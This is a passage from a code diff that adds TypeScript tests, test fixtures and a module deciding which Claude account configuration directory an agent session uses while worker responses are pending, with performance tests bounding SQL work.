expect(f.db.getMessageById(message.id)?.read).toBe(0) + } finally { + vi.restoreAllMocks() + await f.dispose() + } + } +) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account-queue.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account-queue.test.ts new file mode 100644 index 00000000000..d2a64e20831 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account-queue.test.ts @@ -0,0 +1,108 @@ +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { expect, it, vi } from 'vitest' +import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' +import { StructuredNativeResponses } from './structured-agent-session-native-responses' +import { structuredAgentSessionReceivingAccount } from './structured-agent-session-receiving-account' +import { + createReceivingAccountFixture, + RECEIVING_A, + SELECTED_B +} from './structured-agent-session-receiving-account.test-support' + +it('retains queued pointer ownership across epoch replacement, then disposes only its actual response', async () => { + const f = await createReceivingAccountFixture() + try { + const message = f.finish(f.start()) + const body = f.body(message) + const target = () => structuredAgentSessionReceivingAccount(f.deps, f.record, f.session) + await f.journal.queuedMessages.insert({ messageId: 'native-pointer-card', body }) + f.db.markAsDelivered([message.id], `run:${f.run.id}`) + expect((await target()).home).toEqual(RECEIVING_A) + await f.journal.replaceEpochItems('handle_forked', 2, []) + expect((await target()).home).toEqual(RECEIVING_A) + await f.journal.appendSubmission( + { + clientMessageId: 'queued-native-response', + payloadFingerprint: agentSessionSendBodyFingerprint(f.root, body), + body, + origin: 'host', + fence: 2, + handoverRecorded: true + }, + { messageId: 'native-pointer-card', expect: 'waiting' } + ) + await f.journal.resolveDispatch({ + clientMessageId: 'queued-native-response', + fence: 2, + state: 'pending', + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await f.turn('queued-native-response', 'running') + f.db.markAsRead([message.id]) + expect((await target()).home).toEqual(RECEIVING_A) + await f.turn('queued-native-response', 'completed') + expect((await target()).home).toEqual(SELECTED_B) + // Provider history replacement removes the old turn, not the result's delivery stamp. + await f.journal.replaceEpochItems('handle_forked', 2, []) + expect((await target()).home).toEqual(SELECTED_B) + } finally { + await f.dispose() + } +}) + +it('withdrawal ends queued notice ownership even when the result remains unread', async () => { + const f = await createReceivingAccountFixture() + try { + const message = f.finish(f.start()) + await f.journal.queuedMessages.insert({ messageId: 'withdrawn-pointer', body: f.body(message) }) + f.db.markAsDelivered([message.id], `run:${f.run.id}`) + const target = () => structuredAgentSessionReceivingAccount(f.deps, f.record, f.session) + expect((await target()).home).toEqual(RECEIVING_A) + await f.journal.queuedMessages.withdraw(['withdrawn-pointer']) + expect((await target()).home).toEqual(SELECTED_B) + await f.journal.replaceEpochItems('handle_forked', 2, []) + expect((await target()).home).toEqual(SELECTED_B) + } finally { + await f.dispose() + } +}) + +it.each([10, 100])( + 'bounds queued native ownership updates at %i cards to the changed card', + async (n) => { + const f = await createReceivingAccountFixture() + try { + const started = performance.now() + const ids: string[] = [] + for (let i = 0; i < n; i += 1) { + const message = f.finish(f.start()) + const id = `pointer-${i}` + ids.push(id) + await f.journal.queuedMessages.insert({ messageId: id, body: f.body(message) }) + f.db.markAsDelivered([message.id], `run:${f.run.id}`) + } + const list = vi.spyOn(f.journal.queuedMessages, 'list') + const get = vi.spyOn(f.journal.queuedMessages, 'get') + const projection = new StructuredNativeResponses() + expect([...projection.read(f.journal).pending]).toHaveLength(n) + expect(list).toHaveBeenCalledTimes(1) + for (let i = 0; i < n; i += 1) { + expect([...projection.read(f.journal).pending]).toHaveLength(n) + } + expect(list).toHaveBeenCalledTimes(1) + expect(get).not.toHaveBeenCalled() + await f.journal.queuedMessages.withdraw([ids[0]]) + // Count the receiving projection, excluding the existing mutation owner's own lookups. + list.mockClear() + get.mockClear() + expect([...projection.read(f.journal).pending]).toHaveLength(n - 1) + expect(list).not.toHaveBeenCalled() + expect(get).toHaveBeenCalledTimes(1) + process.stdout.write( + `receiving-account queue corpus=${n} initialLists=1 unchangedReads=${n} changedCardGets=1 changedCardLists=0 elapsedMs=${(performance.now() - started).toFixed(3)}\n` + ) + } finally { + await f.dispose() + } + } +) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account.test-support.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account.test-support.ts new file mode 100644 index 00000000000..0e62026489d --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account.test-support.ts @@ -0,0 +1,218 @@ +import { createRestTestRig } from './structured-agent-session-rest-test-rig' +import { hostTestAttachParams } from './structured-agent-session-host-test-data' +import { + agentSessionRecordFixture, + agentSessionLeaseFixture +} from '../../../shared/agent-session-record.test-fixture' +import { withAcquiredAgentSessionAccount } from '../../../shared/agent-session-acquired-account' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalMessageItem, + type AgentJournalTurnLifecycle +} from '../../../shared/agent-session-journal-types' +import { + agentJournalSubmissionKey, + agentJournalItemKey +} from '../../../shared/agent-session-journal-item-key' +import { isOrcaSessionId } from '../../../shared/orca-session-address' +import { StructuredAgentSessionCurrentWork } from './structured-agent-session-current-work' +import { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import { + seedTestAgentSessionRecordStore, + openTestAgentSessionRecordStore +} from '../../runtime/agent-session-record-store-test-harness' +import { OrchestrationDb } from '../../runtime/orchestration/db' +import { structuredNativeWorkReaders } from '../../runtime/structured-native-work-readers' +import { structuredMailNotice } from '../../runtime/orchestration/structured-mail-source' +import type { StructuredAgentSessionHostSession } from './structured-agent-session-host-types' + +export const RECEIVING_A = { variable: 'CLAUDE_CONFIG_DIR', path: '/qa/claude-profiles/qa-a/home' } +export const SELECTED_B = { variable: 'CLAUDE_CONFIG_DIR', path: '/qa/claude-profiles/qa-b/home' } +export async function createReceivingAccountFixture() { + const rig = await createRestTestRig() + const record = withAcquiredAgentSessionAccount( + agentSessionRecordFixture( + agentSessionLeaseFixture({ + sessionId: '6e1b4ae5-2354-4ca5-999e-647deeb23894', + runtimeFence: 2 + }) + ), + { + generation: 'generation-2', + recipe: { route: 'system', home: RECEIVING_A.path, configDir: RECEIVING_A.path } + } + ) + const root = record.sessionId + if (!isOrcaSessionId(root)) { + throw new Error('fixture requires a canonical session id') + } + await seedTestAgentSessionRecordStore(rig.root, { records: [record] }) + const store = await openTestAgentSessionRecordStore(rig.root) + const journal = new AgentSessionJournal({ + database: openTestJournalHostDatabase(rig.root), + identity: { + sessionId: root, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'claude', + providerHandle: null + } + }) + await journal.open() + const session: StructuredAgentSessionHostSession = { + journal, + params: hostTestAttachParams(null, { + provider: 'claude', + agent: 'claude', + accountHome: RECEIVING_A + }), + child: { phase: 'ready', fence: 2, generation: 'generation-2', accountHome: RECEIVING_A } + } + const db = new OrchestrationDb(':memory:') + const run = db.createRun({ + objective: 'native parent', + coordinatorHandle: null, + coordinatorPaneKey: null, + coordinatorOrcaSessionId: root + }) + const deps = { + ...rig.host.deps, + store, + launchAccountHome: async () => SELECTED_B, + ...structuredNativeWorkReaders(() => db) + } + let sends = 0 + const submit = async ( + body: AgentJournalMessageItem, + origin: 'client' | 'host' = 'host', + legacy = false + ) => { + const clientMessageId = `receiving-${++sends}` + await journal.appendSubmission({ + clientMessageId, + payloadFingerprint: clientMessageId, + ...(legacy ? {} : { handoverRecorded: true }), + body, + origin, + fence: 2 + }) + const submission = journal.submission(clientMessageId) + if (!submission) { + throw new Error('submission was not committed') + } + return submission + } + const turn = async ( + clientMessageId: string, + state: AgentJournalTurnLifecycle['state'], + legacy = false + ) => { + const identity = { + provider: 'claude' as const, + sessionId: 'parent-provider', + uuid: `turn-${clientMessageId}` + } + let userItemId = agentJournalSubmissionKey(clientMessageId) + const submitted = journal.submission(clientMessageId) + if (submitted) { + const echo = { + provider: 'claude' as const, + sessionId: 'parent-provider', + uuid: `echo-${clientMessageId}` + } + const body = journal.itemBody(userItemId) + if (!body) { + throw new Error('provider echo requires its actual submitted input') + } + const turnScope = new StructuredAgentSessionCurrentWork(journal, 2).turnScope() + if (submitted.handoverRecorded && submitted.handedOverAt === undefined) { + await journal.resolveDispatch({ clientMessageId, fence: 2, state: 'pending', turnScope }) + } + await journal.resolveDispatch({ + clientMessageId, + fence: 2, + state: 'accepted', + providerIdentity: echo + }) + await journal.appendItem(echo, body, { fence: 2, turnScope }) + if (legacy) { + userItemId = agentJournalItemKey(echo) + } + } + const lifecycle: AgentJournalTurnLifecycle = { + turnId: `turn-${clientMessageId}`, + state, + outcome: state === 'completed' ? 'success' : undefined, + userItemId, + ...(state === 'running' ? {} : { completedAt: 100 }) + } + await journal.appendItem( + identity, + legacy + ? { kind: 'status', text: 'Done', turnLifecycle: lifecycle } + : { kind: 'turn', ...lifecycle }, + { fence: 2, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + return agentJournalItemKey(identity) + } + const start = () => + db.createStartingWorkerDispatch({ + taskSpec: 'real native child work', + taskRunId: run.id, + taskCreatedByRunGeneration: run.consumer_generation, + startOptions: {}, + creator: { kind: 'session', orcaSessionId: root }, + maxDepth: 9 + }) + const finish = ( + child: ReturnType, + contract: 'legacy_direct' | 'current_delivery' = 'current_delivery' + ) => + db.commitWorkerDoneMessageMutation(() => { + db.completeDispatch(child.dispatch.id) + return db.insertMessage({ + from: 'structworker_e7f53907-0cde-40b9-81c5-d18eb66c07a4', + to: `run:${run.id}`, + runId: run.id, + type: 'worker_done', + subject: 'child completed', + payload: JSON.stringify({ + dispatchId: child.dispatch.id, + taskId: child.task.id, + outcome: 'succeeded' + }), + deliveryContract: contract + }) + }) + const body = (message: ReturnType) => + structuredMailNotice({ + db, + mailboxHandle: `run:${run.id}`, + dispatchId: null, + batch: { messages: [message], heldDeliveryId: undefined }, + cliCommand: 'orca-dev', + senderName: () => null + }) + return { + rig, + record, + store, + session, + deps, + journal, + db, + run, + root, + submit, + turn, + start, + finish, + body, + dispose: async () => { + await journal.close() + db.close() + await rig.dispose() + } + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account.test.ts new file mode 100644 index 00000000000..c75e4e35eb9 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account.test.ts @@ -0,0 +1,285 @@ +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalMessageItem +} from '../../../shared/agent-session-journal-types' +import { describe, expect, it, vi } from 'vitest' +import { + createReceivingAccountFixture, + RECEIVING_A, + SELECTED_B +} from './structured-agent-session-receiving-account.test-support' +import { structuredAgentSessionReceivingAccount } from './structured-agent-session-receiving-account' +import { agentSessionFailureFact } from '../../../shared/agent-session-failure' +import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' +import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' + +const ordinary: AgentJournalMessageItem = { + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text: 'next ordinary input' }] +} + +describe('receiving account through native work and exact parent disposition', () => { + it.each(['current_delivery', 'legacy_direct'] as const)( + 'retains A from creation through %s response, then eligible ordinary follows B', + async (contract) => { + const f = await createReceivingAccountFixture() + try { + const target = async () => + structuredAgentSessionReceivingAccount(f.deps, f.record, f.session) + const child = f.start() + expect((await target()).home).toEqual(RECEIVING_A) + const message = f.finish(child, contract) + expect((await target()).home).toEqual(RECEIVING_A) + const next = await f.submit(f.body(message), 'host', contract === 'legacy_direct') + f.db.markAsDelivered([message.id], `run:${f.run.id}`) + await f.turn(next.clientMessageId, 'running', contract === 'legacy_direct') + expect((await target()).home).toEqual(RECEIVING_A) + f.db.markAsRead([message.id]) + expect((await target()).home).toEqual(RECEIVING_A) + await f.turn('unrelated-parent-request', 'completed') + expect((await target()).home).toEqual(RECEIVING_A) + await f.turn(next.clientMessageId, 'completed', contract === 'legacy_direct') + expect((await target()).home).toEqual(SELECTED_B) + const picked = await f.submit(ordinary, 'client') + expect( + (await structuredAgentSessionReceivingAccount(f.deps, f.record, f.session, picked)).recipe + ).toBeUndefined() + // Repeated unread notice replays cannot recreate account ownership after the exact response. + f.db.markAsUndelivered([message.id]) + expect((await target()).home).toEqual(SELECTED_B) + } finally { + await f.dispose() + } + } + ) + + it('retires owed ownership when a rewind retires the Orca send that carried the notice', async () => { + const f = await createReceivingAccountFixture() + try { + const target = () => structuredAgentSessionReceivingAccount(f.deps, f.record, f.session) + const receipt = { write: () => undefined, committed: () => undefined } + await f.journal.context.clear( + { operationId: 'clear-1', afterFence: 1, clearedAt: 1 }, + receipt + ) + const floor = f.journal.cursor() + const message = f.finish(f.start()) + const next = await f.submit(f.body(message)) + f.db.markAsDelivered([message.id], `run:${f.run.id}`) + await f.turn(next.clientMessageId, 'running') + expect((await target()).home).toEqual(RECEIVING_A) + await f.journal.context.rewind(floor, 2, [], () => receipt) + expect(f.journal.submission(next.clientMessageId)).toBeUndefined() + expect((await target()).home).toEqual(SELECTED_B) + } finally { + await f.dispose() + } + }) + + it.each(['interrupted', 'unverifiable'] as const)( + 'keeps existing %s disposition without a success-only hold', + async (state) => { + const f = await createReceivingAccountFixture() + try { + const message = f.finish(f.start()) + const next = await f.submit(f.body(message)) + const target = () => structuredAgentSessionReceivingAccount(f.deps, f.record, f.session) + expect((await target()).home).toEqual(RECEIVING_A) + await f.turn(next.clientMessageId, state) + expect((await target()).home).toEqual(SELECTED_B) + } finally { + await f.dispose() + } + } + ) + + it('retains known recipe after true absence; unknown historical absence uses selection, without inventing A', async () => { + const f = await createReceivingAccountFixture() + try { + const next = await f.submit(f.body(f.finish(f.start()))) + await f.store.reconcileOnRestart({ + sessionId: f.root, + probe: async () => ({ outcome: 'exit-observed' }), + now: 40_000 + }) + f.session.child = null + const released = f.store.getRecord(f.root) + if (!released) { + throw new Error('record missing after actual release') + } + const known = await structuredAgentSessionReceivingAccount(f.deps, released, f.session, next) + expect(known.home).toEqual(RECEIVING_A) + expect(known.recipe).toMatchObject({ route: 'system', home: RECEIVING_A.path }) + const { acquiredAccount: _observation, ...historical } = released + // The store reader returns this historical record rather than a retained source observation. + const lineageRecords = vi.spyOn(f.store, 'lineageRecords').mockReturnValue([historical]) + expect( + await structuredAgentSessionReceivingAccount(f.deps, historical, f.session, next) + ).toEqual({ home: SELECTED_B }) + lineageRecords.mockRestore() + } finally { + await f.dispose() + } + }) + + it('fences a previous consumer through the real Run rebind owner', async () => { + const f = await createReceivingAccountFixture() + try { + f.start() + expect( + (await structuredAgentSessionReceivingAccount(f.deps, f.record, f.session)).home + ).toEqual(RECEIVING_A) + const next = f.db.createRun({ + objective: 'new coordinator consumer', + coordinatorHandle: null, + coordinatorPaneKey: null, + coordinatorOrcaSessionId: f.root + }) + // Creation keeps the earlier consumer; run-use is the real rebind owner. + f.db.bindRun({ + runId: next.id, + coordinatorHandle: null, + coordinatorPaneKey: null, + coordinatorOrcaSessionId: f.root + }) + expect( + (await structuredAgentSessionReceivingAccount(f.deps, f.record, f.session)).home + ).toEqual(SELECTED_B) + } finally { + await f.dispose() + } + }) + + it('signed-out native mail uses existing selected-route recovery, including reacquisition', async () => { + const f = await createReceivingAccountFixture() + try { + const next = await f.submit(f.body(f.finish(f.start()))) + await f.journal.appendItem( + { provider: 'orca', clientMessageId: 'signed-out' }, + { + kind: 'status', + ...agentSessionFailureWords(agentSessionFailureFact('notSignedIn'), { surface: 'row' }) + }, + { fence: 2, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + expect( + await structuredAgentSessionReceivingAccount(f.deps, f.record, f.session, next) + ).toEqual({ home: SELECTED_B }) + f.session.child = null + expect( + await structuredAgentSessionReceivingAccount(f.deps, f.record, f.session, next) + ).toEqual({ home: SELECTED_B }) + } finally { + await f.dispose() + } + }) + + it('allows explicit latest usage-cut recovery without automatically rerouting native mail', async () => { + const f = await createReceivingAccountFixture() + try { + f.start() + const turnId = await f.turn('limited', 'completed') + await f.journal.appendItem( + { provider: 'claude', sessionId: 'parent-provider', uuid: 'turn-limited' }, + { + kind: 'turn', + turnId: 'turn-limited', + state: 'completed', + outcome: 'failure', + userItemId: agentJournalSubmissionKey('limited') + }, + { fence: 2, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await f.journal.appendItem( + { provider: 'orca', clientMessageId: 'usage' }, + { + kind: 'status', + ...agentSessionFailureWords(agentSessionFailureFact('usageLimitReached'), { + surface: 'row' + }) + }, + { fence: 2, turnScope: { kind: 'turn', turnItemId: turnId } } + ) + const next = await f.submit(ordinary, 'client') + expect( + await structuredAgentSessionReceivingAccount(f.deps, f.record, f.session, next) + ).toEqual({ home: SELECTED_B }) + await f.turn(next.clientMessageId, 'completed') + const afterRecovery = await f.submit(ordinary, 'client') + expect( + (await structuredAgentSessionReceivingAccount(f.deps, f.record, f.session, afterRecovery)) + .home + ).toEqual(RECEIVING_A) + const automatic = await f.submit(f.body(f.finish(f.start()))) + expect( + (await structuredAgentSessionReceivingAccount(f.deps, f.record, f.session, automatic)).home + ).toEqual(RECEIVING_A) + } finally { + await f.dispose() + } + }) + it('ends pre-notice ownership when the actual created worker is stopped', async () => { + const f = await createReceivingAccountFixture() + try { + const child = f.start() + expect( + (await structuredAgentSessionReceivingAccount(f.deps, f.record, f.session)).home + ).toEqual(RECEIVING_A) + f.db.reconcileFederatedWorkerStart({ + dispatchId: child.dispatch.id, + state: 'ready', + stage: 'ready' + }) + expect(f.db.beginWorkerStop(child.dispatch.id, 'test-runtime').disposition).toBe('stopping') + f.db.settleWorkerStop(child.dispatch.id) + expect( + (await structuredAgentSessionReceivingAccount(f.deps, f.record, f.session)).home + ).toEqual(SELECTED_B) + } finally { + await f.dispose() + } + }) + it("does not add an account hold to main's accepted-but-unanswered ended generation", async () => { + const f = await createReceivingAccountFixture() + try { + const message = f.finish(f.start()) + const next = await f.submit(f.body(message), 'host', true) + await f.journal.resolveDispatch({ + clientMessageId: next.clientMessageId, + fence: 2, + state: 'accepted', + providerIdentity: { + provider: 'claude', + sessionId: 'parent-provider', + uuid: 'unanswered-echo' + } + }) + f.db.markAsDelivered([message.id], `run:${f.run.id}`) + expect( + (await structuredAgentSessionReceivingAccount(f.deps, f.record, f.session)).home + ).toEqual(RECEIVING_A) + await f.store.reconcileOnRestart({ + sessionId: f.root, + probe: async () => ({ outcome: 'exit-observed' }), + now: 40_000 + }) + f.session.child = null + const released = f.store.getRecord(f.root) + if (!released) { + throw new Error('record missing after execution ended') + } + expect( + (await structuredAgentSessionReceivingAccount(f.deps, released, f.session)).home + ).toEqual(SELECTED_B) + expect(f.journal.submission(next.clientMessageId)?.dispatchState).toBe('accepted') + // A distinct later result still has known receiving A; this does not erase the actual recipe. + f.finish(f.start()) + expect( + (await structuredAgentSessionReceivingAccount(f.deps, released, f.session)).home + ).toEqual(RECEIVING_A) + } finally { + await f.dispose() + } + }) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account.ts new file mode 100644 index 00000000000..b1cd535ad92 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account.ts @@ -0,0 +1,85 @@ +import { + acquiredAgentSessionAccount, + type ClaudeAccountRecipe +} from '../../../shared/agent-session-acquired-account' +import { agentSessionConversationView } from '../../../shared/agent-session-conversation-view' +import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' +import type { AgentJournalSubmission } from '../../../shared/agent-session-journal-types' +import type { AgentSessionAccountHome } from '../../../shared/agent-session-account-home' +import type { AgentSessionRecord } from '../../../shared/agent-session-record' +import type { + StructuredAgentSessionHostDeps, + StructuredAgentSessionHostSession +} from './structured-agent-session-host-types' +import type { NativeResponseEvidence } from '../../runtime/orchestration/structured-parent-account-work' +import { StructuredNativeResponses } from './structured-agent-session-native-responses' + +const responses = new WeakMap< + StructuredAgentSessionHostSession['journal'], + StructuredNativeResponses +>() + +/** Account construction authority is independent of whether an existing child may be retired. */ +export async function structuredAgentSessionReceivingAccount( + deps: StructuredAgentSessionHostDeps, + record: AgentSessionRecord, + session: StructuredAgentSessionHostSession | undefined, + next?: AgentJournalSubmission, + purpose?: 'read' | 'identity' +): Promise<{ home: AgentSessionAccountHome | null; recipe?: ClaudeAccountRecipe }> { + const selected = () => deps.launchAccountHome?.(record, purpose) ?? Promise.resolve(null) + if (record.provider !== 'claude' || !deps.launchAccountHome) { + return { home: await selected() } + } + let index = session && responses.get(session.journal) + if (session && !index) { + index = new StructuredNativeResponses() + responses.set(session.journal, index) + } + const evidence: NativeResponseEvidence = + session && index + ? index.read(session.journal, record.lease.runtimeFence) + : { pending: [], disposed: new Set() } + const lineage = deps.store.lineageRecords(record) + const recorded = acquiredAgentSessionAccount(record, deps.store.hostId) + // Historical clear links identify native work; they cannot prove a successor's acquired account. + const observation = + recorded && + (!session?.child || + (recorded.fence === session.child.fence && recorded.generation === session.child.generation)) + ? recorded + : null + const fence = session?.child?.fence ?? observation?.fence + if (fence !== undefined && index?.signedOut(fence)) { + return { home: await selected() } + } + const body = + next && session + ? session.journal.itemBody(agentJournalSubmissionKey(next.clientMessageId)) + : null + const mail = body?.kind === 'message' && body.from?.orchestration?.message === 'mail-notice' + if ( + !mail && + session && + next?.origin === 'client' && + index?.recovery.allows(session.journal, next) + ) { + return { home: await selected() } + } + const native = + deps.parentAccountWork?.(record, lineage[0].sessionId, evidence, { + getRecord: deps.store.getConversation, + listRecords: () => lineage.map(agentSessionConversationView), + getVisibleSessionTabIndex: deps.store.getVisibleSessionTabIndex + }) ?? false + if (mail || native) { + const home = + session?.child?.accountHome ?? + (observation ? { variable: 'CLAUDE_CONFIG_DIR', path: observation.recipe.home } : null) + if (home) { + return { home, ...(observation ? { recipe: observation.recipe } : {}) } + } + } + // No successful observation exists for a gone historical process: use the selected route truthfully. + return { home: await selected() } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-auth.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-auth.test.ts new file mode 100644 index 00000000000..fb2863b34c4 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-auth.test.ts @@ -0,0 +1,61 @@ +import { readFile } from 'node:fs/promises' +import { describe, expect, it } from 'vitest' +import { z } from 'zod' +import { createClaudeJournalTranslator } from '../../claude/claude-structured-journal-translation' +import { + createReceivingCallerFixture, + HOME_A, + HOME_B, + PARENT +} from './structured-agent-session-receiving-callers.test-support' + +const entry = z.looseObject({ kind: z.string() }) +const capturedFrame = z.object({ at: z.number(), frame: z.record(z.string(), z.unknown()) }) + +describe('recorded Claude authentication failure reaches receiving recovery', () => { + it('uses the recorded typed failure through the production translator and current acquired fence', async () => { + const f = await createReceivingCallerFixture() + try { + await f.found() + await f.coldNative() + f.selectB() + await f.ensure() + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_A) + const sink = f.sinks.get(PARENT) + if (!sink) { + throw new Error('successful actual parent acquisition missing') + } + const translator = createClaudeJournalTranslator({ account: () => 'system', sink }) + try { + // Shipping recorded CLI2.1.280 authentication_failed frames; context/fence comes from this actual host acquisition. + const capture = await readFile( + new URL( + '../../claude/__fixtures__/claude-lifecycle-capture-auth-failed.jsonl', + import.meta.url + ), + 'utf8' + ) + for (const line of capture.trim().split('\n')) { + const value: unknown = JSON.parse(line) + if (entry.parse(value).kind !== 'frame') { + continue + } + const { at, frame } = capturedFrame.parse(value) + translator.handle({ type: 'message', sessionId: PARENT, observedAt: at, message: frame }) + } + await f.rig.host.flushStreamedEvents(PARENT) + const snapshot = await f.rig.host.journalSnapshot(PARENT) + expect( + snapshot.items.some( + (item) => item.body.kind === 'status' && item.body.failure?.kind === 'notSignedIn' + ) + ).toBe(true) + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_B) + } finally { + translator.dispose() + } + } finally { + await f.dispose() + } + }) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-callers-perf.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-callers-perf.test.ts new file mode 100644 index 00000000000..73d0c1ddc9a --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-callers-perf.test.ts @@ -0,0 +1,165 @@ +import { randomUUID } from 'node:crypto' +import { join } from 'node:path' +import { expect, it } from 'vitest' +import { testOrcaSessionId } from '../../../shared/orca-session-address-test-fixture' +import { OrchestrationDb } from '../../runtime/orchestration/db' +import { + createReceivingCallerFixture, + HOME_A, + PARENT, + WORKER +} from './structured-agent-session-receiving-callers.test-support' +import { observeReceivingSql } from './structured-agent-session-receiving-sql.test-support' + +it.each([ + { n: 10, u: 100 }, + { n: 100, u: 100 }, + { n: 10, u: 1000 } +])( + 'bounds real receiving/report work with D/P=$n and independently varied U=$u', + async ({ n, u }) => { + const f = await createReceivingCallerFixture() + try { + await f.found() + const db = f.runtime.getOrchestrationDb() + const run = db.createRun({ + objective: 'relevant Run', + coordinatorHandle: null, + coordinatorPaneKey: null, + coordinatorOrcaSessionId: PARENT + }) + const workers: Awaited>[] = [] + for (let i = 0; i < n; i += 1) { + workers.push(await f.createWorker(testOrcaSessionId(randomUUID()))) + } + const other = db.createRun({ + objective: 'unrelated', + coordinatorHandle: null, + coordinatorPaneKey: null + }) + for (let i = 0; i < u; i += 1) { + db.createStartingWorkerDispatch({ + taskSpec: 'unrelated work', + taskRunId: other.id, + creator: { kind: 'system' }, + maxDepth: 9, + startOptions: {} + }) + } + // Reopen a real populated database with the old branch's index shape; keep cold cost separate. + db.db.exec( + 'DROP INDEX idx_dispatch_creator_mailbox_work; DROP INDEX idx_runs_current_coordinator_handle; DROP INDEX idx_messages_native_direct_work' + ) + const coldAt = performance.now() + const reopened = new OrchestrationDb(join(f.rig.root, 'orchestration.db')) + const coldMs = performance.now() - coldAt + expect( + reopened.db + .prepare( + "SELECT name FROM sqlite_master WHERE type = 'index' AND name = 'idx_dispatch_creator_mailbox_work'" + ) + .get() + ).toBeDefined() + expect(reopened.db.prepare('SELECT count(*) AS n FROM dispatch_contexts').get()?.n).toBe( + n + u + ) + reopened.close() + f.selectB() + const active = observeReceivingSql(db) + const activeAt = performance.now() + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_A) + const activeMs = performance.now() - activeAt + active.stop() + expect(active.measurements.executions).toBeLessThanOrEqual(40 + 5 * n) + expect(active.measurements.rows).toBeLessThanOrEqual(12 + 4 * n) + let reportExecutions = 0 + let reportRows = 0 + let reportMs = 0 + for (const worker of workers) { + const observed = observeReceivingSql(db) + const at = performance.now() + await f.report(worker) + reportMs += performance.now() - at + observed.stop() + expect(db.getWorkerDispatch(worker.dispatch.id)?.state).toBe('succeeded') + expect(observed.measurements.executions).toBeLessThanOrEqual(300 + 25 * n) + expect(observed.measurements.rows).toBeLessThanOrEqual(200 + 20 * n) + reportExecutions += observed.measurements.executions + reportRows += observed.measurements.rows + } + expect(db.getUndeliveredUnreadMessages(`run:${run.id}`)).toHaveLength(n) + const pending = observeReceivingSql(db) + const pendingAt = performance.now() + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_A) + const pendingMs = performance.now() - pendingAt + pending.stop() + expect(pending.measurements.executions).toBeLessThanOrEqual(40 + 5 * n) + expect(pending.measurements.rows).toBeLessThanOrEqual(12 + 4 * n) + const plans = [...active.measurements.plans, ...pending.measurements.plans] + expect(plans.some((plan) => plan.includes('idx_dispatch_run_status'))).toBe(true) + expect( + plans.filter((plan) => /\bSCAN (?:runs|dispatch_contexts|messages|tasks)\b/.test(plan)) + ).toEqual([]) + process.stdout.write( + `receiving-callers D=${n} P=${n} M=1 U=${u} coldIndexedRows=${n + u} coldOpenMs=${coldMs.toFixed(3)} active=${JSON.stringify(active.measurements)} activeMs=${activeMs.toFixed(3)} pending=${JSON.stringify(pending.measurements)} pendingMs=${pendingMs.toFixed(3)} reportExecutions=${reportExecutions} reportRows=${reportRows} reportMs=${reportMs.toFixed(3)}\n` + ) + } finally { + await f.dispose() + } + } +) + +it.each([10, 100])( + 'bounds two current mailbox roles at %i real nested candidates per role', + async (n) => { + const f = await createReceivingCallerFixture() + try { + await f.found() + const db = f.runtime.getOrchestrationDb() + db.createRun({ + objective: 'original parent', + coordinatorHandle: null, + coordinatorPaneKey: null, + coordinatorOrcaSessionId: PARENT + }) + const worker = await f.createWorker(WORKER) + for (let i = 0; i < n; i += 1) { + await f.createWorker(testOrcaSessionId(randomUUID()), WORKER) + } + const own = db.createRun({ + objective: 'worker also coordinates', + coordinatorHandle: worker.handle, + coordinatorPaneKey: worker.paneKey, + coordinatorOrcaSessionId: WORKER + }) + for (let i = 0; i < n; i += 1) { + await f.createWorker(testOrcaSessionId(randomUUID()), WORKER) + } + expect(f.runtime.mailTarget(`run:${own.id}`)?.sessionId).toBe(WORKER) + expect(f.runtime.mailTarget(`dispatch:${worker.dispatch.id}`)?.sessionId).toBe(WORKER) + f.selectB() + const observed = observeReceivingSql(db) + const began = performance.now() + expect(await f.rig.host.prospectiveAccountHome(WORKER)).toEqual(HOME_A) + const elapsedMs = performance.now() - began + observed.stop() + expect(observed.measurements.executions).toBeLessThanOrEqual(60 + 10 * n) + expect(observed.measurements.rows).toBeLessThanOrEqual(30 + 8 * n) + expect( + observed.measurements.plans.some((plan) => + plan.includes('idx_dispatch_creator_mailbox_work') + ) + ).toBe(true) + expect( + observed.measurements.plans.filter((plan) => + /\bSCAN (?:runs|dispatch_contexts|messages|tasks)\b/.test(plan) + ) + ).toEqual([]) + process.stdout.write( + `receiving-callers M=2 D=${n * 2} 